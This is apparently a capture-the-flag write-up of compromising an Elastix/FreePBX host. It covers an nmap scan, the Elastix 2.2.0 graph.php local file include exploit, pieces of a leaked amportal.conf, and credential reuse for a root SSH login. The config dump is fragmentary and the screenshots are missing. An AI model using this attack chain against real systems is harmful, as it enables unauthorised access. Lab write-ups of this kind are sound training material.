Going to https://10.10.10.7 I was greeted by the following login page:

The nmap scan revealed Webmin httpd service on port 10k. Let's see it:

Hmm, interesting. From the URL I can see a ***.cgi*** extension. Let's google the file '*session_login.cgi*'. The results are quite interesting. Let's save some time and try to use "vuln.nse" on port 10k:

Ok, so we receive a 404 File not found for /etc/passwd... Hm.. I have tried running it a couple more times until I decided to postpone it and look for other stuff.

After researching the exploits I found that according to [Security Focus](https://www.securityfocus.com/bid/55078/discuss)
 

Elastix 'graph.php' Local File Include Vulnerability  
  
Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.  
  
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.  
  
Elastix 2.2.0 is vulnerable; other versions may also be affected.


 

Ok, Let's locate the ***graph.php*** exploit on our machine

 

# locate 37637.pl
/usr/share/exploitdb/exploits/php/webapps/37637.pl


 

The exploit's code: 

# cat 37637.pl 
source: https://www.securityfocus.com/bid/55078/info

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

Elastix 2.2.0 is vulnerable; other versions may also be affected.

This enables # you to customize the look of the administration screen. # NOTE: images need to be saved in the ..../admin/images directory of your AMP install # This image should be 55px in height AMPADMINLOGO=logo.png # USECATEGORIES=true|false # DEFAULT VALUE: true # Controls if the menu items in the admin interface are sorted by category (true), or sorted # alphabetically with no categories shown (false). # AMPEXTENSIONS=extensions|deviceanduser # Sets the extension behavior in FreePBX. If set to 'extensions', Devices and Users are # administered together as a unified Extension, and appear on a single page. # If set to 'deviceanduser', Devices and Users will be administered seperately. Devices (e.g. # each individual line on a SIP phone) and Users (e.g. '101') will be configured # independent of each other, allowing association of one User to many Devices, or allowing # Users to login and logout of Devices. AMPEXTENSIONS=extensions # ENABLECW=true|false ENABLECW=no # DEFAULT VALUE: true # Enable call waiting by default when an extension is created. Set to 'no' to if you don't want # phones to be commissioned with call waiting already enabled. The user would then be required # to dial the CW feature code (*70 default) to enable their phone.

Useful ONLY when using AMPPROVROOT # Allows backup and restore of files specified in AMPPROVROOT, based on permissions in /etc/sudoers # for example, adding the following to sudoers would allow the user asterisk to run tar on ANY file # on the system: # asterisk localhost=(root)NOPASSWD: /bin/tar # Defaults:asterisk !requiretty # PLEASE KEEP IN MIND THE SECURITY RISKS INVOLVED IN ALLOWING THE ASTERISK USER TO TAR/UNTAR ANY FILE # CUSTOMASERROR=true|false # DEFAULT VALUE: true # If false, then the Destination Registry will not report unknown destinations as errors. This should be # left to the default true and custom destinations should be moved into the new custom apps registry. # DYNAMICHINTS=true|false # DEFAULT VALUE: false # If true, Core will not statically generate hints, but instead make a call to the AMPBIN php script, # and generate_hints.php through an Asterisk's #exec call. This requires Asterisk.conf to be configured # with "execincludes=yes" set in the [options] section. # XTNCONFLICTABORT=true|false # BADDESTABORT=true|false # DEFAULT VALUE: false # Setting either of these to true will result in retrieve_conf aborting during a reload if an extension # conflict is detected or a destination is detected. It is usually better to allow the reload to go # through and then correct the problem but these can be set if a more strict behavior is desired. # SERVERINTITLE=true|false # DEFAULT VALUE: false # Precede browser title with the server name. # USEDEVSTATE = true|false # DEFAULT VALUE: false # If this is set, it assumes that you are running Asterisk 1.4 or higher and want to take advantage of the # func_devstate.c backport available from Asterisk 1.6. This allows custom hints to be created to support # BLF for server side feature codes such as daynight, followme, etc. # MODULEADMINWGET=true|false # DEFAULT VALUE: false # Module Admin normally tries to get its online information through direct file open type calls to URLs that # go back to the freepbx.org server. If it fails, typically because of content filters in firewalls that # don't like the way PHP formats the requests, the code will fall back and try a wget to pull the information. # This will often solve the problem. However, in such environment there can be a significant timeout before # the failed file open calls to the URLs return and there are often 2-3 of these that occur. Setting this # value will force FreePBX to avoid the attempt to open the URL and go straight to the wget calls. # AMPDISABLELOG=true|false # DEFAULT VALUE: true # Whether or not to invoke the FreePBX log facility # AMPSYSLOGLEVEL=LOG_EMERG|LOG_ALERT|LOG_CRIT|LOG_ERR|LOG_WARNING|LOG_NOTICE|LOG_INFO|LOG_DEBUG|LOG_SQL|SQL # DEFAULT VALUE: LOG_ERR # Where to log if enabled, SQL, LOG_SQL logs to old MySQL table, others are passed to syslog system to # determine where to log # AMPENABLEDEVELDEBUG=true|false # DEFAULT VALUE: false # Whether or not to include log messages marked as 'devel-debug' in the log system # AMPMPG123=true|false # DEFAULT VALUE: true # When set to false, the old MoH behavior is adopted where MP3 files can be loaded and WAV files converted # to MP3. The new default behavior assumes you have mpg123 loaded as well as sox and will convert MP3 files # to WAV. This is highly recommended as MP3 files heavily tax the system and can cause instability on a busy # phone system. # CDR DB Settings: Only used if you don't use the default values provided by FreePBX. # CDRDBHOST: hostname of db server if not the same as AMPDBHOST # CDRDBPORT: Port number for db host # CDRDBUSER: username to connect to db with if it's not the same as AMPDBUSER # CDRDBPASS: password for connecting to db if it's not the same as AMPDBPASS # CDRDBNAME: name of database used for cdr records # CDRDBTYPE: mysql or postgres mysql is default # CDRDBTABLENAME: Name of the table in the db where the cdr is stored cdr is default # AMPVMUMASK=mask # DEFAULT VALUE: 077 # Defaults to 077 allowing only the asterisk user to have any permission on VM files. If set to something # like 007, it would allow the group to have permissions. This can be used if setting apache to a different # user then asterisk, so that the apache user (and thus ARI) can have access to read/write/delete the # voicemail files. If changed, some of the voicemail directory structures may have to be manually changed. # DASHBOARD_STATS_UPDATE_TIME=integer_seconds # DEFAULT VALUE: 6 # DASHBOARD_INFO_UPDATE_TIME=integer_seconds # DEFAULT VALUE: 20 # These can be used to change the refresh rate of the System Status Panel. Most of # the stats are updated based on the STATS interval but a few items are checked # less frequently (such as Asterisk Uptime) based on the INFO value # ZAP2DAHDICOMPAT=true|false ZAP2DAHDICOMPAT=true # DEFAULT VALUE: false # If set to true, FreePBX will check if you have chan_dadhi installed. If so, it will # automatically use all your ZAP configuration settings (devices and trunks) and # silently convert them, under the covers, to DAHDI so no changes are needed. The # GUI will continue to refer to these as ZAP but it will use the proper DAHDI channels. # This will also keep Zap Channel DIDs working. # CHECKREFERER=true|false # DEFAULT VALUE: true # When set to the default value of true, all requests into FreePBX that might possibly add/edit/delete # settings will be validated to assure the request is coming from the server.

Once # the release version is known, code will be added to automatically enable this format in versions of Asterisk # that support it. # USEGOOGLEDNSFORENUM=true|false # DEFAULT VALUE: false # Setting this flag will generate the required global variable so that enumlookup.agi will use Google DNS # 8.8.8.8 when performing an ENUM lookup. Not all DNS deals with NAPTR record, but Google does. There is a # drawback to this as Google tracks every lookup. If you are not comfortable with this, do not enable this # setting.

The above output reveals credentials in amportal.config file:

...And login successful:
 

Perhaps we could ssh?
 

# ssh [email protected]                                                                                                                                                                                                                255 ⨯
Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1


 

I have received an error which according to an opinion on the internet - it is received since the algorithm is considered legacy? Resolved it by manually selecting it.

Welcome to Elastix 
----------------------------------------------------

To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7

[root@beep ~]# 
[root@beep ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

 

The host reused his password so we're able to gain root through ssh.
